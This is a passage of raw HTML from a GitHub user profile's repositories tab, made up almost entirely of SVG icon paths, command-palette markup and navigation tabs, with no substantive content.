2.474l-8.61 8.61c-.21.21-.47.364-.756.445l-3.251.93a.75.75 0 01-.927-.928l.929-3.25a1.75 1.75 0 01.445-.758l8.61-8.61zm1.414 1.06a.25.25 0 00-.354 0L10.811 3.75l1.439 1.44 1.263-1.263a.25.25 0 000-.354l-1.086-1.086zM11.189 6.25L9.75 4.81l-6.286 6.287a.25.25 0 00-.064.108l-.558 1.953 1.953-.558a.249.249 0 00.108-.064l6.286-6.286z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="issue-opened-open"> <svg height="16" class="octicon octicon-issue-opened open" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="git-pull-request-draft-color-fg-muted"> <svg height="16" class="octicon octicon-git-pull-request-draft color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.25 1a2.25 2.25 0 00-.75 4.372v5.256a2.251 2.251 0 101.5 0V5.372A2.25 2.25 0 003.25 1zm0 11a.75.75 0 100 1.5.75.75 0 000-1.5zm9.5 3a2.25 2.25 0 100-4.5 2.25 2.25 0 000 4.5zm0-3a.75.75 0 100 1.5.75.75 0 000-1.5z"></path><path d="M14 7.5a1.25 1.25 0 11-2.5 0 1.25 1.25 0 012.5 0zm0-4.25a1.25 1.25 0 11-2.5 0 1.25 1.25 0 012.5 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="search-color-fg-muted"> <svg height="16" class="octicon octicon-search color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="sun-color-fg-muted"> <svg height="16" class="octicon octicon-sun color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 10.5a2.5 2.5 0 100-5 2.5 2.5 0 000 5zM8 12a4 4 0 100-8 4 4 0 000 8zM8 0a.75.75 0 01.75.75v1.5a.75.75 0 01-1.5 0V.75A.75.75 0 018 0zm0 13a.75.75 0 01.75.75v1.5a.75.75 0 01-1.5 0v-1.5A.75.75 0 018 13zM2.343 2.343a.75.75 0 011.061 0l1.06 1.061a.75.75 0 01-1.06 1.06l-1.06-1.06a.75.75 0 010-1.06zm9.193 9.193a.75.75 0 011.06 0l1.061 1.06a.75.75 0 01-1.06 1.061l-1.061-1.06a.75.75 0 010-1.061zM16 8a.75.75 0 01-.75.75h-1.5a.75.75 0 010-1.5h1.5A.75.75 0 0116 8zM3 8a.75.75 0 01-.75.75H.75a.75.75 0 010-1.5h1.5A.75.75 0 013 8zm10.657-5.657a.75.75 0 010 1.061l-1.061 1.06a.75.75 0 11-1.06-1.06l1.06-1.06a.75.75 0 011.06 0zm-9.193 9.193a.75.75 0 010 1.06l-1.06 1.061a.75.75 0 11-1.061-1.06l1.06-1.061a.75.75 0 011.061 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="sync-color-fg-muted"> <svg height="16" class="octicon octicon-sync color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 2.5a5.487 5.487 0 00-4.131 1.869l1.204 1.204A.25.25 0 014.896 6H1.25A.25.25 0 011 5.75V2.104a.25.25 0 01.427-.177l1.38 1.38A7.001 7.001 0 0114.95 7.16a.75.75 0 11-1.49.178A5.501 5.501 0 008 2.5zM1.705 8.005a.75.75 0 01.834.656 5.501 5.501 0 009.592 2.97l-1.204-1.204a.25.25 0 01.177-.427h3.646a.25.25 0 01.25.25v3.646a.25.25 0 01-.427.177l-1.38-1.38A7.001 7.001 0 011.05 8.84a.75.75 0 01.656-.834z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="trash-color-fg-muted"> <svg height="16" class="octicon octicon-trash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M6.5 1.75a.25.25 0 01.25-.25h2.5a.25.25 0 01.25.25V3h-3V1.75zm4.5 0V3h2.25a.75.75 0 010 1.5H2.75a.75.75 0 010-1.5H5V1.75C5 .784 5.784 0 6.75 0h2.5C10.216 0 11 .784 11 1.75zM4.496 6.675a.75.75 0 10-1.492.15l.66 6.6A1.75 1.75 0 005.405 15h5.19c.9 0 1.652-.681 1.741-1.576l.66-6.6a.75.75 0 00-1.492-.149l-.66 6.6a.25.25 0 01-.249.225h-5.19a.25.25 0 01-.249-.225l-.66-6.6z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="key-color-fg-muted"> <svg height="16" class="octicon octicon-key color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M6.5 5.5a4 4 0 112.731 3.795.75.75 0 00-.768.18L7.44 10.5H6.25a.75.75 0 00-.75.75v1.19l-.06.06H4.25a.75.75 0 00-.75.75v1.19l-.06.06H1.75a.25.25 0 01-.25-.25v-1.69l5.024-5.023a.75.75 0 00.181-.768A3.995 3.995 0 016.5 5.5zm4-5.5a5.5 5.5 0 00-5.348 6.788L.22 11.72a.75.75 0 00-.22.53v2C0 15.216.784 16 1.75 16h2a.75.75 0 00.53-.22l.5-.5a.75.75 0 00.22-.53V14h.75a.75.75 0 00.53-.22l.5-.5a.75.75 0 00.22-.53V12h.75a.75.75 0 00.53-.22l.932-.932A5.5 5.5 0 1010.5 0zm.5 6a1 1 0 100-2 1 1 0 000 2z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="comment-discussion-color-fg-muted"> <svg height="16" class="octicon octicon-comment-discussion color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 2.75a.25.25 0 01.25-.25h8.5a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-3.5a.75.75 0 00-.53.22L3.5 11.44V9.25a.75.75 0 00-.75-.75h-1a.25.25 0 01-.25-.25v-5.5zM1.75 1A1.75 1.75 0 000 2.75v5.5C0 9.216.784 10 1.75 10H2v1.543a1.457 1.457 0 002.487 1.03L7.061 10h3.189A1.75 1.75 0 0012 8.25v-5.5A1.75 1.75 0 0010.25 1h-8.5zM14.5 4.75a.25.25 0 00-.25-.25h-.5a.75.75 0 110-1.5h.5c.966 0 1.75.784 1.75 1.75v5.5A1.75 1.75 0 0114.25 12H14v1.543a1.457 1.457 0 01-2.487 1.03L9.22 12.28a.75.75 0 111.06-1.06l2.22 2.22v-2.19a.75.75 0 01.75-.75h1a.25.25 0 00.25-.25v-5.5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="bell-color-fg-muted"> <svg height="16" class="octicon octicon-bell color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="bell-slash-color-fg-muted"> <svg height="16" class="octicon octicon-bell-slash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1.5c-.997 0-1.895.416-2.534 1.086A.75.75 0 014.38 1.55 5 5 0 0113 5v2.373a.75.75 0 01-1.5 0V5A3.5 3.5 0 008 1.5zM4.182 4.31L1.19 2.143a.75.75 0 10-.88 1.214L3 5.305v2.642a.25.25 0 01-.042.139L1.255 10.64A1.518 1.518 0 002.518 13h11.108l1.184.857a.75.75 0 10.88-1.214l-1.375-.996a1.196 1.196 0 00-.013-.01L4.198 4.321a.733.733 0 00-.016-.011zm7.373 7.19L4.5 6.391v1.556c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01.015.015 0 00.005.012.017.017 0 00.006.004l.007.001h9.037zM8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="paintbrush-color-fg-muted"> <svg height="16" class="octicon octicon-paintbrush color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.134 1.535C9.722 2.562 8.16 4.057 6.889 5.312 5.8 6.387 5.041 7.401 4.575 8.294a3.745 3.745 0 00-3.227 1.054c-.43.431-.69 1.066-.86 1.657a11.982 11.982 0 00-.358 1.914A21.263 21.263 0 000 15.203v.054l.75-.007-.007.75h.054a14.404 14.404 0 00.654-.012 21.243 21.243 0 001.63-.118c.62-.07 1.3-.18 1.914-.357.592-.17 1.226-.43 1.657-.861a3.745 3.745 0 001.055-3.217c.908-.461 1.942-1.216 3.04-2.3 1.279-1.262 2.764-2.825 3.775-4.249.501-.706.923-1.428 1.125-2.096.2-.659.235-1.469-.368-2.07-.606-.607-1.42-.55-2.069-.34-.66.213-1.376.646-2.076 1.155zm-3.95 8.48a3.76 3.76 0 00-1.19-1.192 9.758 9.758 0 011.161-1.607l1.658 1.658a9.853 9.853 0 01-1.63 1.142zM.742 16l.007-.75-.75.008A.75.75 0 00.743 16zM12.016 2.749c-1.224.89-2.605 2.189-3.822 3.384l1.718 1.718c1.21-1.205 2.51-2.597 3.387-3.833.47-.662.78-1.227.912-1.662.134-.444.032-.551.009-.575h-.001V1.78c-.014-.014-.112-.113-.548.027-.432.14-.995.462-1.655.942zM1.62 13.089a19.56 19.56 0 00-.104 1.395 19.55 19.55 0 001.396-.104 10.528 10.528 0 001.668-.309c.526-.151.856-.325 1.011-.48a2.25 2.25 0 00-3.182-3.182c-.155.155-.329.485-.48 1.01a10.515 10.515 0 00-.309 1.67z"></path></svg> </div> <command-palette-item-group data-group-id="top" data-group-title="Top result" data-group-hint="" data-group-limits="{}" data-default-priority="0" > </command-palette-item-group> <command-palette-item-group data-group-id="commands" data-group-title="Commands" data-group-hint="Type > to filter" data-group-limits="{"static_items_page":50,"issue":50,"pull_request":50,"discussion":50}" data-default-priority="1" > </command-palette-item-group> <command-palette-item-group data-group-id="global_commands" data-group-title="Global Commands" data-group-hint="Type > to filter" data-group-limits="{"issue":0,"pull_request":0,"discussion":0}" data-default-priority="2" > </command-palette-item-group> <command-palette-item-group data-group-id="this_page" data-group-title="This Page" data-group-hint="" data-group-limits="{}" data-default-priority="3" > </command-palette-item-group> <command-palette-item-group data-group-id="files" data-group-title="Files" data-group-hint="" data-group-limits="{}" data-default-priority="4" > </command-palette-item-group> <command-palette-item-group data-group-id="default" data-group-title="Default" data-group-hint="" data-group-limits="{"static_items_page":50}" data-default-priority="5" > </command-palette-item-group> <command-palette-item-group data-group-id="pages" data-group-title="Pages" data-group-hint="" data-group-limits="{"repository":10}" data-default-priority="6" > </command-palette-item-group> <command-palette-item-group data-group-id="access_policies" data-group-title="Access Policies" data-group-hint="" data-group-limits="{}" data-default-priority="7" > </command-palette-item-group> <command-palette-item-group data-group-id="organizations" data-group-title="Organizations" data-group-hint="" data-group-limits="{}" data-default-priority="8" > </command-palette-item-group> <command-palette-item-group data-group-id="repositories" data-group-title="Repositories" data-group-hint="" data-group-limits="{}" data-default-priority="9" > </command-palette-item-group> <command-palette-item-group data-group-id="references" data-group-title="Issues, pull requests, and discussions" data-group-hint="Type # to filter" data-group-limits="{}" data-default-priority="10" > </command-palette-item-group> <command-palette-item-group data-group-id="teams" data-group-title="Teams" data-group-hint="" data-group-limits="{}" data-default-priority="11" > </command-palette-item-group> <command-palette-item-group data-group-id="users" data-group-title="Users" data-group-hint="" data-group-limits="{}" data-default-priority="12" > </command-palette-item-group> <command-palette-item-group data-group-id="projects" data-group-title="Projects" data-group-hint="" data-group-limits="{}" data-default-priority="13" > </command-palette-item-group> <command-palette-item-group data-group-id="footer" data-group-title="Footer" data-group-hint="" data-group-limits="{}" data-default-priority="14" > </command-palette-item-group> <command-palette-item-group data-group-id="modes_help" data-group-title="Modes" data-group-hint="" data-group-limits="{}" data-default-priority="15" > </command-palette-item-group> <command-palette-item-group data-group-id="filters_help" data-group-title="Use filters in issues, pull requests, discussions, and projects" data-group-hint="" data-group-limits="{}" data-default-priority="16" > </command-palette-item-group> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" data-targets="command-palette-page-stack.defaultPages" hidden > </command-palette-page> </div> <command-palette-page data-is-root> </command-palette-page> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" > </command-palette-page> </command-palette-page-stack> <server-defined-provider data-type="search-links" data-targets="command-palette.serverDefinedProviderElements"></server-defined-provider> <server-defined-provider data-type="help" data-targets="command-palette.serverDefinedProviderElements"> <command-palette-help data-group="modes_help" data-prefix="#" data-scope-types="[""]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues</strong> and <strong>pull requests</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="#" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues, pull requests, discussions,</strong> and <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="@" data-scope-types="[""]" > <span data-target="command-palette-help.titleElement">Search for <strong>organizations, repositories,</strong> and <strong>users</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">@</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="!" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">!</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="/" data-scope-types="["repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>files</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">/</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix=">" > <span data-target="command-palette-help.titleElement">Activate <strong>command mode</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">></kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:pr" > <span data-target="command-palette-help.titleElement">Filter to pull requests</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:pr</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:issue" > <span data-target="command-palette-help.titleElement">Filter to issues</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:issue</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:discussion" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Filter to discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:discussion</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:project" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Filter to projects</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:project</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:open" > <span data-target="command-palette-help.titleElement">Filter to open issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:open</kbd> </span> </command-palette-help> </server-defined-provider> <server-defined-provider data-type="commands" data-fetch-debounce="0" data-src="/command_palette/commands" data-supported-modes="[]" data-supports-commands data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_page_navigation" data-supported-modes="[""]" data-supported-scope-types="["","owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/issues" data-supported-modes="["#","#"]" data-supported-scope-types="["owner","repository",""]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to" data-supported-modes="["@","@"]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to_members_only" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_members_only_prefetched" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="files" data-fetch-debounce="0" data-src="/command_palette/files" data-supported-modes="["/"]" data-supported-scope-types="["repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/discussions" data-supported-modes="["#"]" data-supported-scope-types="["owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/projects" data-supported-modes="["#","!"]" data-supported-scope-types="["owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/recent_issues" data-supported-modes="["#","#"]" data-supported-scope-types="["owner","repository",""]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/teams" data-supported-modes="["@",""]" data-supported-scope-types="["owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/name_with_owner_repository" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> </command-palette> </details-dialog> </details> <div class="position-fixed bottom-0 left-0 ml-5 mb-5 js-command-palette-toasts" style="z-index: 1000"> <div hidden class="Toast Toast--loading"> <span class="Toast-icon"> <svg class="Toast--spinner" viewBox="0 0 32 32" width="18" height="18" aria-hidden="true"> <path fill="#959da5" d="M16 0 A16 16 0 0 0 16 32 A16 16 0 0 0 16 0 M16 4 A12 12 0 0 1 16 28 A12 12 0 0 1 16 4" /> <path fill="#ffffff" d="M16 0 A16 16 0 0 1 32 16 L28 16 A12 12 0 0 0 16 4z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--error"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-stop"> <path fill-rule="evenodd" d="M4.47.22A.75.75 0 015 0h6a.75.75 0 01.53.22l4.25 4.25c.141.14.22.331.22.53v6a.75.75 0 01-.22.53l-4.25 4.25A.75.75 0 0111 16H5a.75.75 0 01-.53-.22L.22 11.53A.75.75 0 010 11V5a.75.75 0 01.22-.53L4.47.22zm.84 1.28L1.5 5.31v5.38l3.81 3.81h5.38l3.81-3.81V5.31L10.69 1.5H5.31zM8 4a.75.75 0 01.75.75v3.5a.75.75 0 01-1.5 0v-3.5A.75.75 0 018 4zm0 8a1 1 0 100-2 1 1 0 000 2z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--warning"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast Toast--success"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> </span> <span class="Toast-content"></span> </div> <div hidden class="anim-fade-in fast Toast"> <span class="Toast-icon"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-info"> <path fill-rule="evenodd" d="M8 1.5a6.5 6.5 0 100 13 6.5 6.5 0 000-13zM0 8a8 8 0 1116 0A8 8 0 010 8zm6.5-.25A.75.75 0 017.25 7h1a.75.75 0 01.75.75v2.75h.25a.75.75 0 010 1.5h-2a.75.75 0 010-1.5h.25v-2h-.25a.75.75 0 01-.75-.75zM8 6a1 1 0 100-2 1 1 0 000 2z"></path> </svg> </span> <span class="Toast-content"></span> </div> </div> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <main id="js-pjax-container" data-pjax-container> <div class="mt-4 position-sticky top-0 d-none d-md-block color-bg-default width-full border-bottom color-border-muted" style="z-index:3;" > <div class="container-xl px-3 px-md-4 px-lg-5"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-start Layout--sidebarPosition-flowRow-start"> <div data-view-component="true" class="Layout-sidebar"> <div class="user-profile-sticky-bar"> <div class="user-profile-mini-vcard d-table"> <span class="user-profile-mini-avatar d-table-cell v-align-middle lh-condensed-ultra pr-2"> <img class="rounded-2 avatar-user" src="https://avatars.githubusercontent.com/u/107093285?s=64&v=4" width="32" height="32" alt="@chikitang" /> </span> <span class="d-table-cell v-align-middle lh-condensed"> <strong>chikitang</strong> </span> </div> </div> </div> <div data-view-component="true" class="Layout-main"> <div class="UnderlineNav width-full box-shadow-none js-responsive-underlinenav overflow-md-x-hidden"> <nav class="UnderlineNav-body width-full p-responsive" data-pjax aria-label="User profile"> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_OVERVIEW","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="5d370149c21205ec5db1b16999e0832e303dc0e8216fdfcad467e4d739ba5bd2" data-tab-item="overview" href="/chikitang"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path> </svg> Overview </a> <a aria-current="page" class="UnderlineNav-item js-responsive-underlinenav-item selected" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_REPOSITORIES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="2878152d02a2613d43b03e73899fd932cdc33dbf741606f59108073a3be3d53e" data-tab-item="repositories" href="/chikitang?tab=repositories"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> Repositories <span title="1" data-view-component="true" class="Counter">1</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PROJECTS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="998a9967a41db96a06d41fa60e83ae993072d339981cb58ccbd2a1e8c28b8173" data-tab-item="projects" href="/chikitang?tab=projects&type=beta"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v3.585a.746.746 0 010 .83v8.085A1.75 1.75 0 0114.25 16H6.309a.748.748 0 01-1.118 0H1.75A1.75 1.75 0 010 14.25V6.165a.746.746 0 010-.83V1.75zM1.5 6.5v7.75c0 .138.112.25.25.25H5v-8H1.5zM5 5H1.5V1.75a.25.25 0 01.25-.25H5V5zm1.5 1.5v8h7.75a.25.25 0 00.25-.25V6.5h-8zm8-1.5h-8V1.5h7.75a.25.25 0 01.25.25V5z"></path> </svg> Projects <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PACKAGES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="add7fd6f4f8f617c23b86cea0dd89fef5bd1ea5fe415b3492401e9a613d417be" data-tab-item="packages" href="/chikitang?tab=packages"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-package UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8.878.392a1.75 1.75 0 00-1.756 0l-5.25 3.045A1.75 1.75 0 001 4.951v6.098c0 .624.332 1.2.872 1.514l5.25 3.045a1.75 1.75 0 001.756 0l5.25-3.045c.54-.313.872-.89.872-1.514V4.951c0-.624-.332-1.2-.872-1.514L8.878.392zM7.875 1.69a.25.25 0 01.25 0l4.63 2.685L8 7.133 3.245 4.375l4.63-2.685zM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432L2.5 5.677zm6.25 8.271l4.625-2.683a.25.25 0 00.125-.216V5.677L8.75 8.432v5.516z"></path> </svg> Packages <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_STARS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="9b1d942d1e97482fca652be20f1a0bdf7aadf6379f10093c52d87921e2fc4d38" data-tab-item="stars" href="/chikitang?tab=stars"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 